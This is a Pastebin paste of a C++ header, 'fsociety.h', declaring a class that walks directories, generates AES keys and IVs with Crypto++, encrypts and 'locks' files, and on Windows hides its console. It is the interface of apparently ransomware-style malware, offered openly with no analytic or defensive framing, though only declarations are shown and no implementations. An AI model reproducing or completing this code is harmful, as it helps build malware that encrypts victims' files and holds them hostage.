Advertisement
FlyFar

source/fsociety.h

Sep 2nd, 2023
909
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 0.86 KB | Cybersecurity | 0 0
  1. #ifndef __FSOCIETY_H__
  2. #define __FSOCIETY_H__
  3. #endif
  4. #include <dirent.h>
  5. #include <string.h>
  6.  
  7. #include <cryptopp/osrng.h>
  8. #include <cryptopp/modes.h>
  9. #include <cryptopp/aes.h>
  10.  
  11. class fsociety
  12. {
  13.     public:
  14.     int listfiledirectory(char *);
  15.     int is_directory(char *);
  16.     int open_file(char *);
  17.     int nb_file = 0;
  18.     byte* generate_iv(void);
  19.     byte* generate_key(void);
  20.     byte* encrypt(byte*,byte*,int,byte*,int);
  21.     byte* decrypt(byte*,byte*,int,byte*,int);
  22.     byte* fucksociety(char*);
  23.     byte* get_secret_key(void);
  24.     byte* get_secret_iv(void);
  25.     byte* secret_key;
  26.     byte* secret_iv;
  27.     int encrypt_file(char *, const char *);
  28.     std::string number_to_string(int); 
  29.     int lock_file(char *);
  30.  
  31.     std::string cipher;
  32.     #if defined(WIN32)
  33.         char *slash = "\\\\";
  34.         int show_democracy(void);
  35.         int hide_console(void);
  36.     #else
  37.         char *slash = "/";
  38.     #endif
  39. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement